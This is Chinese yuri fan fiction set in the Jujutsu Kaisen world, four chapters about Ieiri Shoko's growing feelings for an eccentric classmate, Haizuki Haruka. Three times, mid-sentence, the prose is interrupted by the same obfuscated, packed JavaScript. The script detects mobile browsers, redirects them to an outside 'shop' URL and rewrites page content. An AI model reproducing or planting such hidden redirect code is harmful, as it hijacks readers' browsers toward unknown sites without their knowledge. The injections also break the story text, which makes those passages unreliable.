176L(01):怎么会有人没对象(大惊失色)怎么会有人没对象还要上学上班(大惊失色)怎么会有人没对象还要上学上班还要蹲在厕所在网上偷看别人的爱情(大惊失色) 177L:神金 178L:鉴定为屎 179L:我没有我没有我没有满足了吗你这个冷漠无情的女人:( 180L:等等,这个ID……不是楼主老婆吗 181L:MD夫妻合伙 182L(01):s,他们怎么不吵架 183L(楼主):你还是不会引战,亲我一口我就教你~~嘻嘻嘻 184L:网友是你们play的一环吗??? 185L:MD神金夫妇 186L:MD神金夫妇 187L:MD神金夫妇 ——已折叠相同发言—— 【此贴因多人举报,现已不可见】 21.硝线(一) 非本世界,是平行世界! 非本世界,是平行世界! 非本世界,是平行世界! 默认双方已成年! 默认双方已成年! 默认双方已成年! 是百合,雷的话跳过! 是百合,雷的话跳过! 是百合,雷的话跳过! 如果没有问题就继续往下吧~ PS:开篇时间点为一年级。 …… 新同学是电波系。 家入硝子见到海月遥的第一面,便下了这样的判断。 新同学的视线没有落点,虚无地游离在空气中微小的浮尘间。浅金色的阳光从窗棂间跃入,亲吻着她倦颓的眉眼,那疏离的神情都多了几分柔美。 岁月静好。 但问题是,现在还在上课! 显然,这位新同学正在走神。 或许是自己注视得太久,她终于看了过来,透亮的蓝眼睛里映出自己的身影。她倒是一言不发,盯着自己看了许久。 讲台上,辅助监督老师已经连续咳嗽了几声,意在提醒某位同学。然而,新同学仍毫无反应,家入硝子在她平静如水的神情中察觉出一丝呆滞。 “老——师——正——在——看——你——” 家入硝子手掩在嘴的一侧,无声地做出口型提醒。 但新同学只是疑惑地歪头,表情没有一丝波澜,姣好的唇一张一合,模仿着自己的口型,似乎想要通过这种方式猜她说的话。 没救了,埋了吧。 家入硝子觉得自己已经尽力。 “……遥,硝子,现在还在上课。”老师最终忍无可忍地开口,“想聊天大可以下课后。现在给我出去罚站。” 饱受无妄之灾的家入硝子:fine。 下课后还被两个男生嘲笑了。五条悟笑得最大声,夏油杰倒还是保持着为数不多的良心,对新同学表达慰问。 这时家入硝子才知道新同学和人渣同期一号之间的关系——两个人是认识快十年的青梅竹马。她轻易就能察觉出夏油杰眼中流淌的情愫,但新同学倒是显得呆呆愣愣。 经典爱情小说中的“狐狸与兔子”组合。 麻烦。 总之,家入硝子决定与他们保持距离。 …… 但好像完全无法远离。 自从说出海月遥的秘密后,她就对家入硝子,或者说对医务室里随意摆放的各类书产生了兴趣。 有时候家入硝子能看见医务室多了一位访客。她也不吵不闹,只是一个人静静地坐在护理床边,低头翻着书——沉默到有时家入硝子都未察觉到另一人的存在。 她觉得海月遥就像一只游荡在四周的黑猫,偶尔造访她这位留守的空巢奶妈。 每当医务室来伤员的时候,她倒是会立马溜走,绝不打扰治疗工作。过段时间后,她又会小心翼翼地扒拉着门缝,探头进来,观察治疗是否结束。 开始家入硝子还以为她是识趣,后面发现这人只是单纯地怕生。好吧,说她怕生也不尽然,她只是不喜欢与陌生人交流。 管她呢,只要不影响自己就行。 …… 看来无法做到不影响到自己。 “硝子,我可以研究你吗?” 这个人完全不懂察言观色,突然从背后环住了家入硝子的脖子。垂下的黑发让硝子感到有些痒。 “我会给你好处的。” 脑电波又对接上M78星云了?这孩子在说什么? 家入硝子忍无可忍地推开她的头。 “说人话。” 海月遥蹲在家入硝子身前,抬头看向她。那平日里毫无表情的面孔看上去有几分可怜兮兮:“我想研究反转术式。” 她又掏出自己厚厚的笔记本开始解释。 家入硝子也不打断她,翘着腿,一只手支着头,待她说完后,才微扬下巴:“好处呢?” 这孩子开始狗腿地给她捏肩捶腿。往日积累的疲惫如雪般消融,家入硝子甚至感觉有几分困意袭来。 等醒来时,家入硝子发现自己已躺在床上,眼前一片雪白的天花板。她愣了片刻,整理着有些混沌的思绪。等完全清醒后,她坐起身,转头望去,只见海月遥正安静地坐在她常用的转椅上,专注地阅读着手中的书。 窗外黄昏已至,暖橙色的鎏光在乌发上流淌。她坐在那里,发丝垂下,遮住了大部分表情,只透过镜框隐约可见一薄淡蓝。 听到她的动静,海月遥漫不经心地侧过头,黑发随之滑落,露出如白玉般光洁的脸。 “硝子。”她微微弯起眼眸,似乎凝聚起一汪潋滟的笑意,“你醒了。” …… 虽然海月遥是同期里最晚入学的,但家入硝子见她的次数远比另外两个同期多。 那两位天才从入学之初便被评定为一级,各式各样的任务如同纷飞的雪花般向他们涌来,让他们忙得不可开交。 而作为唯一的反转术士,家入硝子自己的日程也排得满满当当,忙碌程度丝毫不亚于他们二人。 这么比较下,唯一比较空闲的只有海月遥。她像幽魂一样到处乱飘。医务室已经算是她的一个偏爱的据点了。 而那次短暂的打盹似乎预示着什么。海月遥来医务室的次数也渐渐增多,只要没有课程和任务,她都会溜到这里。 每次完成反转术式研究后,家入硝子都疲惫不堪,忍不住陷入沉睡。而当她醒来,总能发现那位熟悉的常客,静静地守候在一旁。 她时而低头看书,时而坐在她身边发呆,偶尔还会盘腿坐在转椅上,悠然自得地转圈。 家入硝子开始期待,每次醒来后,这位“不速之客”会带来怎样的新景象。 一次她醒来时,海月遥就趴在桌子上,望着在窗框上轻跃的麻雀出神。学校里的麻雀总是不怕人,长着一团肥啾样,不安定地摆着头。 她试探性地伸出手,那只麻雀也毫不畏惧,轻盈地跳到她的手上。稍作停留后,麻雀再次振翅一飞,在她的头顶作威作福。 于是这家伙又不敢动了,任凭麻雀乱窜。 迪O尼公主吗? “噗。”家入硝子忍不住笑出声。 这一笑声惊飞了麻雀,同时也引起了海月遥的注意。 笑归笑,家入硝子掀开身上的薄毯,问道:“刚刚那是?” “树麻雀。”海月遥回应,“嘴角的黄还没褪,估计一个月大,是幼崽,可能是飞累了。” “我是问你刚刚在干嘛。”家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678594|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入硝子无奈道。 “哦。”海月遥反应慢了半拍,“闲着没事,我就随便观察了一下。” “医务室的书都看完了?”家入硝子继续问。 “嗯。”她点点头。 “那为什么还待在这里?你可以去做些其他事情。” “但硝子还在这里睡觉,很危险。” “……这里是设有结界的高专,而且我是唯一的医疗人员,不会有人能在这里伤到我。”家入硝子哭笑不得地解释。 然而,海月遥似乎完全没听进去她的解释,只是固执地重复道:“睡着的硝子很危险。” 算了,随她吧。 而且,有一个人陪着,其实感觉很好。 …… 或许是见的次数过多,家入硝子逐渐对这位电波系少女上了心。 夏天的高温让实战课上的海月遥脱去了厚重的黑色校服,仅着轻便的无袖背心。 家入硝子细心地注意到海月遥多次摸向脖子,便在下课后询问了她。 “因为之前习惯穿高领,现在脖子上没了束缚,感觉有些不适应。”海月遥皱着眉,再次摸向脖子,补充道,“空荡荡的。” 家入硝子敏锐地捕捉到了海月遥雪白脖颈上的一粒黑痣,随着她的说话声上下跳动,宛如曲谱上的音符。 这颗痣之前被校服遮挡,家入硝子是第一次见到。 “这样啊。” 她没有多做评价。 …… 下次在医务室见到海月遥的时候,家入硝子便从抽屉里掏出一个礼盒,递给她:“打开看看。” 海月遥顺从地打开了盒子,里面躺着一条简约的宽带颈圈,基础亮面款式,微微泛着光泽,宛如月光下波光粼粼的海面。 “你平时还会戴项链,所以choker我就选了简单点的。不过如果你不喜欢也没关系。”家入硝子懒洋洋地咬着未点燃的烟蒂,齿尖忍不住在烟蒂上碾了碾。 “谢谢。”过了片刻,海月遥的眼睛才从颈圈上移开,坦率地看向家入硝子,“我很喜欢。” 她说完,又解开上衣的黄铜纽扣。 “等等,你干嘛?” “我现在想戴上……”海月遥脱校服外套到一半时停下,有些疑惑,“不可以吗?” “那也不用脱外套。” “可想给大家都看见。” 这人都不会害臊吗? “你到时候拉下领口就行……总之先把衣服穿上。” “嗷。” 她慢吞吞穿上衣服,又拿着颈圈走到家入硝子身前:“硝子帮我带。” 说着,她背对着家入硝子蹲下,将黑发拨开,露出光洁的后颈。 “你倒是会命令人……”家入硝子拿起颈圈,轻柔地绕过她的脖子,随意扣好。 那黑发与校服逼仄出的小块肌肤沁着微亮的清辉,宛如黑夜里朦胧而又苍白的月华。 现在这轮月色被黑色的颈圈遮住,仅有几缕微光溢出。家入硝子不禁感到一丝惋惜。 等等,我在想什么? 她动作一顿,指尖停留在锁扣。 现在她倒是想点燃嘴上的烟了。 “硝子?” “没什么。” 家入硝子松开手。 22.硝线(二) 拿到了新朋友送的礼物! 海月遥面无表情,但其实很开心。 她拉低领口,凑到家入硝子面前,轻声问道:“好看吗?” 家入硝子顺着领口往里望去,那颈圈规规矩矩地束缚在脖颈间,那粒黑痣也恰好停在颈圈边缘,一半隐入,一半显出,引人遐思,让人想要把颈圈勾下,窥得全貌。 她的视线不经意间移向更深处,锁骨的轮廓和娇艳的花苞若隐若现。 “……等下不能这样给那群男生看,明白了吗?”她下意识闭上眼,提醒道,同时将海月遥的领口向上提了提。 “但是我想让大家都看到硝子送我的礼物。” “你自己想别的方法,总之这样不行。” “为什么?” “容易走光。”家入硝子毫不避讳,虎牙碾了碾烟嘴,熟悉的烟草叶味让她平静下来。 海月遥点点头,接受了她的解释。 “那我把校服外套脱了。” “……这样不是露得更多吗?” “但是我实战课的时候也是只穿了背心啊?而且硝子为什么要说走光,明明刚刚我里面也是背心。” “角度问题。” “大家都比我高,角度不是差不多吗?” 好有道理。 自己实战课的时候明明也看过海月遥穿背心,为什么当时没觉得走光?家入硝子顺着她的脑回路思考。可能是因为刚刚她主动勾领子?就像是泳衣一样。人类更关注覆盖在布料下的肌肤。 她随即就和海月遥分享了自己的想法。 “禁果效应。”海月遥做出总结,摇头叹气,“人类啊……” (注:禁果效应也叫做“亚当与夏娃效应”,越是禁止的东西,人们越要得到手。越希望掩盖某个信息不让别人知道,却越勾起别人的好奇心和探求欲,反而促使别人试图利用一切渠道来获取被掩盖的信息。这种由于单方面的禁止和掩饰而造成的逆反现象。) “别把自己轻轻松松排除在人类之外啊。” “所以把校服外套脱了就没关系。”海月遥迅速把外套一脱,便撒欢从医务室溜出去,“给杰他们看看。” 家入硝子有种孩子落地没的心酸,她拿着她扔下的校服,小跑着跟上去。 …… “你们看,硝子送我的。”等她到教室的时候,这孩子已经开始炫耀起来了。尽管脸上还是无波无澜的寡淡表情,但从语调上倒是能勉强听出她的兴奋。 “像狗链。”说出这句话的五条悟下一刻就被海月遥面无表情地猛击腹部。 “很好看,真的很适合你。”黑心狐狸微笑着称赞道,当看到家入硝子走进来时,他还向她投去一个“品味不错”的眼神。 又不是为了给你看的。 家入硝子升起一丝不爽。她快步走过去,双手从后方穿过,用校服完全挡住了正准备与五条悟互殴的海月遥。 “炫耀完了就把衣服穿上。” 一米五和一米七之间的身高差还是相当明显,海月遥才堪堪到她的肩膀。她整个人就处于家入硝子和校服之间,看上去就像是被家入硝子环抱住一样。 她仿佛被封印了,一动不动,只是抬头凝视着家入硝子,默不作声。 “怎么了?” “硝子身上有烟味。” 这家伙一天到晚到底在想什么。家入硝子叹气:“讨厌吗?” “不讨厌硝子身上的味道。但是会被夜蛾老师发现。”她一本正经地解释,又接过校服,头一钻,轻轻松松套上。 家入硝子往旁边走一步,无所谓地说道:“不会。” “为什么?” “夜蛾老师不会离我这么近。” “为什么?” 这孩子是十万个为什么吗? “因为是异性。” “哦……那我是同性,所以才能离硝子这么近?”她开始举一反三。 “对的。” “我明白了。”海月遥双手环抱住家入硝子的腰,对着那边的两个同期炫耀,“只有我能抱硝子。” 家入硝子心好累。 …… “这是什么?”家入硝子看着海月遥递给她的一支细长的玻璃瓶。透过光线,瓶内琥珀色的液体缓缓流动,与家入硝子的眼瞳色颇有几分相似。 海月遥语气平淡:“硝子可以理解为烟味除味剂。我自己做的,用完了再找我就是。” 家入硝子打开瓶盖,鼻尖微动,轻嗅了一下。香气像是橘子汽水,融合了薄荷的清凉,如同青涩而带有水气的夜风,清新又透彻,不会过分张扬。 说起来,遥是不是很喜欢橘子汽水?家入硝子常常见到她独自捧着汽水,坐在角落。 “谢谢,我很喜欢。但为什么要送我这个?”家入硝子轻轻嗅了嗅自己的指尖,那里还残留着淡淡的苦涩气息,还夹杂着一丝消毒水的刺鼻气味。 其实她不喜欢自己身上的味道?上次只是不好意思直接说? 不过,这孩子真的有圆滑到这种程度吗? “是回礼。”海月遥简洁地回答,随后补充道,“杰告诉我,我们还有两位学姐。” 家入硝子:? 她们确实有两个学姐来着。但是这又关歌姬前辈和冥前辈什么事? 海月遥看着她迷茫的眼神,恨铁不成钢地叹气:“学姐也是同性。” 家入硝子这才明白了她的想法:因为是同性,所以能凑近,闻到她身上略显苦涩的烟草味。 “她们两个不会在意啦。”不过歌姬前辈确实最近在劝她戒烟。 “不是这个原因。”海月遥严肃地纠正她的错误,“没人会讨厌硝子身上的烟味,但喷了后可以向她们炫耀。” 家入硝子:“啊?” 炫耀?炫耀什么?炫耀同期里有个人多才多艺吗? 不能深究她的想法。家入硝子放弃思考,朝她点了点头:“我明白了。” 尽管她完全不明白海月遥的意思。 对方对她的回答似乎相当满意。 “所以今天要继续研究反转术式?”家入硝子放下海月遥的礼物。 海月遥掏出她的笔记本:“不,我最近又有些新的想法,想告诉硝子。” 家入硝子摆出洗耳恭听的姿态。 这已经成为她们在医务室的常规活动。海月遥常常冒出有趣的想法,但由于对咒术和咒力的了解有限,她总会找家入硝子核对或讨论。 当被问及为何不找其他人时,海月遥总会扬起头说道:“他们需要我重复几次,但硝子不一样。硝子是天才,一次就能明白,有时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687775|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能给出纠正和补充。” 海月遥的话显得格外真诚,家入硝子也相当受用。而且她的想法新奇而不跳脱,具有很高的可行性,单是讨论也能学到不少。家入硝子自然也很乐意和她交流。 今天的讨论结束后,海月遥又开始殷勤地按摩。 过了一会儿,她费解地问道:“硝子今天不睡吗?” 实际上一点睡意都没有的家入硝子:什么,我睡觉难道是例行公事吗? 她之前困,完全是因为多次指导学习反转术式,精力消耗过大所致。但今天她们只是简单地交谈,她并没有到需要睡觉的地步。 对方似乎有些失望。 家入硝子:fine,那我睡。 她轻轻阖上眼睛,放松身体,呼吸逐渐变得缓慢而平稳。尽管她并非正规医生(没有执照,治疗方法也非传统手段),但她清楚如何假装入睡。 海月遥的动作也随之变得轻柔,小心翼翼地观察她,似乎在判断她是否真的入眠。 接着,海月遥蹲下身,慢慢为她脱下鞋子,然后轻轻地将她横抱在床上,盖上薄毯。整个过程流畅无声,显然已是驾轻就熟。 因为闭上眼,家入硝子只能通过声音来判断海月遥的行动。 一开始,她听到布料摩擦的声音,似乎是移动时产生的。随后,转椅的椅轮滑动声以及功能底盘与气杆摩擦的声音接连响起。这些声音让家入硝子脑海中浮现出海月遥慵懒地坐在转椅上,随意晃动的画面。她就像八音盒中不知疲倦旋转的芭蕾舞者。 这家伙是不是对这把椅子情有独钟?或许她希望睡着,就是为了独占医务室里的这把转椅。这个念头虽然有些失礼,但却与海月遥的性格颇为契合。 片刻后,声音皆归于沉寂。家入硝子判断,她应当是在发呆。 不久,笔尖在纸上沙沙作响,家入硝子意识到她正在记录今天讨论的内容。 随着不断的猜测,家入硝子渐渐困了。 ——直到开门声与夏油杰略带疑惑的“嗯”声打破了寂静。 两人并未交谈。 随后,脚步声再次响起,门被轻轻关上,医务室内的其他杂音也随之消失。 家入硝子明白,海月遥跟着夏油杰出去了。 过了一会儿,家入硝子无法准确判断是几分钟还是半小时,但在这段期间,海月遥始终没有回来。 我真是个笨蛋。 她被一种突如其来的冷意惊醒,睡意全无。心中不受控地滋生被背叛的烦闷。明明之前这个人还郑重其事地说“睡着的硝子很危险”,可刚刚却毫不犹豫地跟着夏油杰离开了。 家入硝子坐起身,薄毯滑落。她从口袋中掏出一支烟,叼在嘴里,牙齿碾了碾烟蒂。 她很清楚自己的愤懑所在。 他们或许有其他事情需要处理,短暂离开也在情理之中。而且,即便海月遥不在场,她也没有可以指摘的地方。 然而,偏偏是夏油杰。 换作五条悟,家入硝子都不会有额外的想法。她脑中的情感排斥着夏油杰,觉得他侵入了她与海月遥二人的空间。 为什么? 很简单。 她在将自己与夏油杰进行比较。 太好笑了。 家入硝子再次决定与他们保持距离。 23.硝线(三) 某个家伙似乎完全不打算放过她。 尽管自己已经假装不在意地忽视她好几次,她还是不厌其烦地跟上来。 “有事吗?” 家入硝子打开宿舍门,只见海月遥穿着极为宽松的T恤,下摆刚好遮住大腿根。敞开的领口显露出锁骨区的肌肤。 也不知道秋天她为什么要穿得这么清凉。 “我要和硝子一起睡。”这个人抱着枕头,平静地说出不得了的话。 家入硝子也相当平静——她直接关上了门。 敲门声再次响起。 “硝子,开门。”海月遥在门外不厌其烦地重复着这句话。 “我寝室只有单人床,要睡觉的话,请右转回你自己的房间。” “没关系,我可以打地铺。” “我不习惯睡觉时旁边有人。” “但医务室里硝子睡得挺香。” “……你到底要干嘛?”家入硝子都能听到楼道那边的动静。海月遥现在这个样子哪能见人。她迅速打开门,将这个突然发疯的同期一把拉进房间。 “漫画里有女子夜谈会。我也想要。”电波系的家伙抬头看向家入硝子。 家入硝子:果然在发癫。 她回想起五条悟那家伙最开始的时候也会试图用信用卡刷自动售货机,这位是不是也像他一样,是从哪个家族跑出来、缺乏常识的大小姐? 但与她一同长大的夏油杰看上去十分正常。这应该是海月遥个人的原因。 “你可以找别人。”家入硝子依旧选择拒绝。 海月遥也不退让:“但在高专,我只有硝子一个女性朋友。” 家入硝子注意到了她的限定词:“那你可以找以前学校里的朋友。” “没有。”海月遥如实回答。 不会吧?遥的性格不像是会受女生排斥的类型啊?家入硝子一愣。 要她判断,海月遥这种性格,比起异性,更受同性欢迎。 等等,难道是因为夏油?按他那性格和外表,确实容易吸引异性。 当家入硝子还在沉思时,海月遥已经越过她,步入了卧室。 “我还没答应你。”家入硝子这么说着,却也没阻拦海月遥的意思。 按照家入硝子的性格,她通常不会深究。 交往之道,最忌交浅言深,追问过多往往适得其反。 但她还是问了:“你刚刚说没有其他朋友,为什么?” “嗯……”海月遥抱着枕头,霸占了家入硝子卧室里唯一的椅子。她沉思片刻,似乎难以立即回答这个问题。 “不想回答也没关系。”家入硝子并不打算触及她的痛处。 “可能是因为……我以前把一些人让我转交给杰的情书都扔掉了?”海月遥终于找到了最可能的解释。 家入硝子:??? “但又不是我的错。”她将头埋在枕头里,声音闷闷的,“我当面说过很多次了,我不会帮忙转交。就算给我,我也会直接扔掉。大家明明也答应了。等我真的扔掉时,却又开始怪我。” 不,别人可能误以为你只是开玩笑。普通人做事不会这么绝。家入硝子替海月遥回答。在日本社会,集体观念极为重要,这种不懂察言观色的人确实容易被孤立。 “不过也不重要。”海月遥抬头,“比起这个,我们开女子夜谈会吧?” “所以要聊什么?”家入硝子已经放弃赶海月遥走了,她随意坐在柔软的床铺上。 海月遥一本正经地回复:“漫画里一般都是聊情感话题。” “我对这个没什么可聊的。换一个。” “那聊俳句?” “绮夜,月明,侵入房内。” 家入硝子在心中将其译为:半夜时分,邪恶的海月遥霸占了我的卧室。 “硝子,你连最基本的[5-7-5]音节都没遵循。” “没办法,我是文盲。”家入硝子眸色淡淡,随意把床上的枕头往她脸上砸去。 海月遥不负她望,用脸好好地接住了。作为交换,她回敬了自己的枕头。 家入硝子被枕头砸倒在床上(可见奶妈和输出的力气差距,当然也有演的成分),但她任由它覆在脸上,直到感到呼吸不畅时才拿开,紧紧抱在怀里。 “下一个。”来自家入硝子的从容。 “全球变暖与厄尔尼诺现象的关系?” “厄尔尼诺现象加剧了全球变暖……聊点有趣的。” “日本政教分离的成效?” 有趣不一定,但够刺激,够露骨。 “这个太敏感了……你怎么回事?”家入硝子终于忍不住了。 海月遥:盯—— “行吧,我们聊情感。”家入硝子自暴自弃地瘫在床上。“你想知道什么?” “等等,我先看看。”海月遥掏出笔记本,“第一题,你的理想型是什么样的?” “电视节目里的快问快答?”家入硝子实在是无力吐槽,“你先回答,我再告诉你。” “温柔,聪明,有趣。”海月遥眼也不眨地回答道。“至少要有其中之一。” 有趣?这太主观了。聪明?我们这一届没人笨。温柔……是说夏油吗? 家入硝子抬头看着刺眼的白炽灯,微微眯起眼睛。 “那硝子呢?” “这个嘛……”家入硝子稍作思考,随意给出了一个显然不是正确答案的选项,“起码得比我高吧。” 对面沉默了一会儿,随后传来了纸页翻动的声音。 “下一题,”海月遥问道,“你有喜欢的人吗?” 家入硝子轻笑一声:“现在女子高中生的问题都这么尖锐吗?第三题不会真的问那个人是谁吧?” “这是我上网搜索的题目,按照频率精心挑选的。”海月遥皱眉,试图维护自己的公正性。 “我有。”家入硝子坦言道。 海月遥似乎有些好奇:“那是谁?” “这是下一个问题了吧?你得先告诉我你的答案。” “我有。”她又捧起笔记本,“好了,下一题,硝子觉得,告白后还能成为朋友吗?” 当然不行。家入硝子差点这么回答。她巴不得给夏油杰添堵。 但她最终选择了说:“可以。” 闹太久也没有意义。她告诉自己。 “第四题,你喜欢的——”海月遥还没说完,就被家入硝子打断:“你先别急着问新的,你上一个问题的答案呢?” “我觉得——”对面的人刚开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701439|143107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “但我对这题的答案不感兴趣。”家入硝子坐起身,平静地望向海月遥的双眼。 “你告诉我,你喜欢夏油吗?” 又关杰什么事? 海月遥不解,但还是坦诚回答:“喜欢。” “我知道了。” 家入硝子从床上站起,故作轻松地拍了拍手,宣布道:“女子夜谈会,现在正式结束~” “诶?” “已经问了三个问题,作为体验已经足够了吧?”家入硝子望向窗外,夜色已深,“时候不早,你该回房间休息了。” 海月遥死死地抱住身下的椅子,表现出要和它共存亡的强烈愿望:“我还要和硝子一起睡——打地铺也行。” 自己又不能连带着人和椅子一起扔出去。家入硝子心想。对面的武力值完全不是自己能比过的。 “撒娇也没用,出去。”她再次下逐客令。 “我不要——” 刚刚自己就不该动恻隐之心放她进来,也不该鬼使神差答应她搞什么夜谈会。家入硝子冷眼注视着海月遥。 “对不起……” 海月遥与她的目光相遇,身体一僵,随即从椅子上站起。 即便是迟钝的海月遥,也察觉到了家入硝子情绪上的异样。 “硝子别生气……”她缓缓向门口走去,不时回头观察家入硝子的反应。打开门后,在门口稍作停留,最终离开了。 怎么还不关门?家入硝子叹了口气,刚准备走过去关门,又看到那人从门口探出头来。 “硝子,真的对不起。” 她只露出双眼,眼中充满了歉意。 家入硝子难得在海月遥的脸上看到了情绪波动。她确信,门外的人并不清楚自己为什么在生气,只是茫然地道歉。 “你……”她的话还没说完,海月遥的眼睛突然一亮,“你的枕头忘拿了。” “哦。”她又慢吞吞地挪回去拿枕头,随后再次从门口探出头:“那,硝子,晚安。” 家入硝子淡淡地回应:“记得关门。” “哦。” 门轻轻地关上了。 三分钟后。 家入硝子轻叹,打开门,只见海月遥依旧呆立门外:“我没生气,进来吧。” 自从那天夏油杰来过后,家入硝子越来越难以在医务室入睡,醒得也更早。 为了不被发现异常,醒来后她也不会立即起身,反倒是继续装睡。因此,她对海月遥的脚步声了如指掌。除了那天,她始终未离开,安静地等待她醒来。 刚刚家入硝子就没听到熟悉的脚步声响起,一猜就知道这人还站在门口。 她应该也会在外面再待一段时间后主动离开。家入硝子这样想着,却还是让她进来了。 “你只能睡在地上。”她提前排除了这个人霸占自己床位的可能性。 “完全没问题。”海月遥飞快地溜进房间,开始铺被子。 准备相当充分。家入硝子客观点评。应该是蓄谋已久。 她们决定不再多聊,熄灯后,两人各自安静地躺在被窝中。 “我喜欢硝子。” 过了一会儿,海月遥轻声说道。 冷淡的声音在寂静的房间里清晰可闻。 24.硝线(四) “是吗?” “跟对杰的喜欢不一样。” “嗯嗯,谢谢。” 又是一片沉默。 窸窸窣窣的声音传入耳中,应该是海月遥翻了个身。 时间悄然流逝,不知半小时还是一小时后,海月遥再次开口:“硝子,我睡不着。” 家入硝子选择忽视,装睡。 “硝子在装睡。”海月遥毫不留情地拆穿,“就像之前在医务室一样。” 家入硝子一惊,疑惑她什么时候发现的。这么多天过去,海月遥竟一次都没戳破。她本以为,以这人的性格,肯定会当场拆穿。 “那你之前为什么不问?”还一直安静地在旁边等着,明明也没什么事可干。 “硝子好像不想被我发现。” 这木头脑袋竟然还懂得体贴人? “那你刚刚为什么又拆穿我?” “因为我睡不着。” 好吧,体贴,但不多。 家入硝子冷酷无情:“睡不着找我也没用,我是医生,不是魔术师。” 海月遥:盯—— “4-7-8呼吸,你知道吧?”她还是妥协了,“试试。” 海月遥神情自若地瞥了眼精力条,数值还剩下93。对于她来说,别说是4-7-8呼吸法,即便是把她打晕,她也能在短时间内自动醒来。 她没有直接回应家入硝子之前的话,而是反问道:“硝子为什么睡不着?” 家入硝子已读乱回:“我担心睡着后,被你梦游时暗杀。” 海月遥神情凝重:“确实有这种可能。硝子只是奶妈,可能还没反应过来就被我……”她顿了一下,“一刀解决。” “太可怕了。”家入硝子感叹道。 “或者,”海月遥接着说,“我梦游时突然打开窗户,抱着你跳下去。” “You jump, I jump.” 家入硝子模仿着经典台词。 海月遥叹气:“明天的头条可能就是两女子高中生跳楼,这究竟是人性的扭曲还是道德的沦丧。” “野鸡高专恐怕会因此被查封。”家入硝子语气平静地补充。 “夜蛾老师会不会因此失业?”海月遥问。 “那有点可怜,他刚离婚。”家入硝子回答。 “情场失意,职场也失意。”海月遥摇头,“他最后可能真的只能去赌场了。” “人生就是进屠宰场的过程啊……”家入硝子发出莫名其妙的感叹,“还是一起赖活着吧。” “嗯,一起。” 又没人说话了。 这次是家入硝子翻了个身,面朝着海月遥的方向:“算了,我也睡不着。聊天吧?” 海月遥误以为又要她挑起话题。她原本为了女子夜谈会,精心挑选了人文科学、自然科学和社会科学中的流行议题,甚至融入了经典题目,但似乎家入硝子对这些都不感兴趣。 她试图寻找话题:“硝子觉得《海O王》里的路飞和《火O忍者》里的鸣人哪个更强?” 现在的高中生好像都喜欢看漫画。海月遥特意挑了颇受欢迎的民工漫。 “这个比较适合放到论坛或者聊天室引战。” “我记下了。”海月遥虚心受教,把它归类到脑中的“无聊时找乐子用”的合集内。 家入硝子泛起深深的无力感:“……不用记,你每天都在想些什么?”她开始怀疑这家伙的脑部构造。 这也是夜谈会的话题吗? 海月遥矜持地回复:“拯救世界。” “真伟大。”家入硝子敷衍极了,掀开被子下床。月光从窗帘缝隙中透出,她不至于踩到地上的海月遥。 “硝子?” 家入硝子没有回应,她从书桌抽屉里拿出一个礼盒,然后随意地走到海月遥的床边坐下。她纤白的指尖轻轻滑过方形礼盒微钝的尖端,然后毫不犹豫地递给了还在愣神的海月遥:“送你了。” “哦。”有些人似乎总是如此,读不懂空气,也不会客套,当面就拆开了礼盒,“谢谢硝子。” 礼盒里是一瓶深蓝色的香水,宛如拥抱夜色的深海。 其实,家入硝子并没有打算送给海月遥这瓶香水——它已经被闲置在抽屉里很多天了。 一方面,香水具有强烈的个人特色,每个人的喜好截然不同,特别是水生调的香水,更是容易晕香。 不过她也知道,海月遥肯定也不会介意这些形式上的礼节,不喜欢就是不喜欢,喜欢就是喜欢。这人没有遮掩自己心思的打算。 另一方面,她觉得送这瓶香水是多余的。 得不到的就要适时放弃,正如家入硝子已坦然接受自己未来将囿于高专那间小医务室。 说起来,她只是偶然间发现了它。那透彻幽蓝的香气,仿佛是从海面上升起的水汽,带有一丝白兰地的微醺感。 她甚至能想象出海月遥使用后的情景,只有靠近后,才能从她包裹得严实的脖颈处捕捉到隐约的气息,宛如夜间偶然一现的幽昙。 果不其然,地上那个社会化程度不高的家伙,立即拿起香水,随意一喷。然后她轻轻扇动手,鼻尖轻嗅。“喜欢。” 你当是化学试剂的扇闻法吗?家入硝子无奈,却还是说着:“喜欢就行,送你了。” 听到这样的话,海月遥的脸上依旧平静无波,难以从她那双如深海的猫眼中窥见任何情绪。过了一会儿,她才抬头看向家入硝子:“为什么硝子要送我礼物?” “因为我们是朋友。” 家入硝子熟练地回答,仿佛排练过无数次,随手拍了拍正沉思的三无少女,对方还乖巧地低头配合。 “那硝子要什么回礼?”海月遥转头看向随意坐在床边的少女。“这是社交礼仪。” “不需要哦~”家入硝子轻笑一声,再次强调,“真的不需要。” 这是她不需要回应的恋情。 海月遥总是喜欢刨根问底:“为什么?” 